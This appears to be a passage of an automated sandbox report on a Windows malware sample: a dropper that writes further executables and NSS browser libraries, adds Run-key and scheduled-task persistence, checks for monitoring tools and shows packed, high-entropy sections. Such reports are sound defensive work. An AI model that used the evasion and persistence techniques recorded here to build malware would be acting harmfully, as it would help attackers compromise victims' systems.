Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: bec28015e3.exe, 0000001E.00000003.2723012441.0000000005020000.00000004.00001000.00020000.00000000.sdmp, bec28015e3.exe, 0000001E.00000002.2856964920.0000000000A22000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: mozglue.pdb source: baacd96df2.exe, 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ufcrnojc:EW;cfzvtifv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ufcrnojc:EW;cfzvtifv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ufcrnojc:EW;cfzvtifv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ufcrnojc:EW;cfzvtifv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ufcrnojc:EW;cfzvtifv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ufcrnojc:EW;cfzvtifv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ufcrnojc:EW;cfzvtifv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ufcrnojc:EW;cfzvtifv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Unpacked PE file: 7.2.45de1d3aba.exe.950000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tklpndtl:EW;natdubhn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tklpndtl:EW;natdubhn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Unpacked PE file: 9.2.baacd96df2.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rkukuayu:EW;uvxbkdjf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rkukuayu:EW;uvxbkdjf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Unpacked PE file: 10.2.45de1d3aba.exe.950000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tklpndtl:EW;natdubhn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tklpndtl:EW;natdubhn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Unpacked PE file: 29.2.baacd96df2.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rkukuayu:EW;uvxbkdjf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rkukuayu:EW;uvxbkdjf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Unpacked PE file: 30.2.bec28015e3.exe.a20000.0.unpack :EW;.rsrc:W;.idata :W;jbjemqme:EW;ploemuvx:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Unpacked PE file: 46.2.25a6468a3b.exe.1c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;izldifvl:EW;aseeuljj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;izldifvl:EW;aseeuljj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Unpacked PE file: 47.2.bec28015e3.exe.a20000.0.unpack :EW;.rsrc:W;.idata :W;jbjemqme:EW;ploemuvx:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Unpacked PE file: 48.2.45de1d3aba.exe.950000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tklpndtl:EW;natdubhn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tklpndtl:EW;natdubhn:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Code function: 9_2_6BF873E0 LoadLibraryW,GetProcAddress,FreeLibrary,

9_2_6BF873E0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1dc830 should be: 0x1db250
Source: 45de1d3aba.exe.6.dr	Static PE information: real checksum: 0x1dc830 should be: 0x1db250
Source: baacd96df2.exe.6.dr	Static PE information: real checksum: 0x1c327e should be: 0x1bddd3
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x2abce4 should be: 0x2af311
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d63de should be: 0x1dd027
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1c327e should be: 0x1bddd3
Source: bec28015e3.exe.6.dr	Static PE information: real checksum: 0x2abce4 should be: 0x2af311
Source: file.exe	Static PE information: real checksum: 0x1d63de should be: 0x1dd027
Source: 25a6468a3b.exe.6.dr	Static PE information: real checksum: 0x4408ee should be: 0x43d3ae
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x4408ee should be: 0x43d3ae

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ufcrnojc
Source: file.exe	Static PE information: section name: cfzvtifv
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: ufcrnojc
Source: skotes.exe.0.dr	Static PE information: section name: cfzvtifv
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: tklpndtl
Source: random[1].exe.6.dr	Static PE information: section name: natdubhn
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 45de1d3aba.exe.6.dr	Static PE information: section name:
Source: 45de1d3aba.exe.6.dr	Static PE information: section name: .idata
Source: 45de1d3aba.exe.6.dr	Static PE information: section name:
Source: 45de1d3aba.exe.6.dr	Static PE information: section name: tklpndtl
Source: 45de1d3aba.exe.6.dr	Static PE information: section name: natdubhn
Source: 45de1d3aba.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: rkukuayu
Source: random[1].exe0.6.dr	Static PE information: section name: uvxbkdjf
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: baacd96df2.exe.6.dr	Static PE information: section name:
Source: baacd96df2.exe.6.dr	Static PE information: section name: .idata
Source: baacd96df2.exe.6.dr	Static PE information: section name:
Source: baacd96df2.exe.6.dr	Static PE information: section name: rkukuayu
Source: baacd96df2.exe.6.dr	Static PE information: section name: uvxbkdjf
Source: baacd96df2.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name: jbjemqme
Source: random[1].exe2.6.dr	Static PE information: section name: ploemuvx
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: bec28015e3.exe.6.dr	Static PE information: section name:
Source: bec28015e3.exe.6.dr	Static PE information: section name: .idata
Source: bec28015e3.exe.6.dr	Static PE information: section name: jbjemqme
Source: bec28015e3.exe.6.dr	Static PE information: section name: ploemuvx
Source: bec28015e3.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: izldifvl
Source: random[2].exe.6.dr	Static PE information: section name: aseeuljj
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 25a6468a3b.exe.6.dr	Static PE information: section name:
Source: 25a6468a3b.exe.6.dr	Static PE information: section name: .rsrc
Source: 25a6468a3b.exe.6.dr	Static PE information: section name: .idata
Source: 25a6468a3b.exe.6.dr	Static PE information: section name:
Source: 25a6468a3b.exe.6.dr	Static PE information: section name: izldifvl
Source: 25a6468a3b.exe.6.dr	Static PE information: section name: aseeuljj
Source: 25a6468a3b.exe.6.dr	Static PE information: section name: .taggant
Source: softokn3.dll.9.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.9.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.9.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.9.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.9.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.9.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.9.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.9.dr	Static PE information: section name: .didat
Source: nss3.dll.9.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.9.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0027D91C push ecx; ret		6_2_0027D92F
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF5B536 push ecx; ret		9_2_6BF5B549

Source: file.exe	Static PE information: section name: entropy: 7.979708987540044
Source: file.exe	Static PE information: section name: ufcrnojc entropy: 7.953545369367335
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.979708987540044
Source: skotes.exe.0.dr	Static PE information: section name: ufcrnojc entropy: 7.953545369367335
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.979770872652821
Source: random[1].exe.6.dr	Static PE information: section name: tklpndtl entropy: 7.953039924207103
Source: 45de1d3aba.exe.6.dr	Static PE information: section name: entropy: 7.979770872652821
Source: 45de1d3aba.exe.6.dr	Static PE information: section name: tklpndtl entropy: 7.953039924207103
Source: random[1].exe0.6.dr	Static PE information: section name: rkukuayu entropy: 7.955051436363669
Source: baacd96df2.exe.6.dr	Static PE information: section name: rkukuayu entropy: 7.955051436363669
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.792497844647016
Source: bec28015e3.exe.6.dr	Static PE information: section name: entropy: 7.792497844647016
Source: random[2].exe.6.dr	Static PE information: section name: izldifvl entropy: 7.95596447030285
Source: 25a6468a3b.exe.6.dr	Static PE information: section name: izldifvl entropy: 7.95596447030285

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9225ca0b64.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 45de1d3aba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run baacd96df2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bec28015e3.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 45de1d3aba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 45de1d3aba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run baacd96df2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run baacd96df2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9225ca0b64.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9225ca0b64.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bec28015e3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bec28015e3.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Code function: 9_2_6BF855F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_6BF855F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
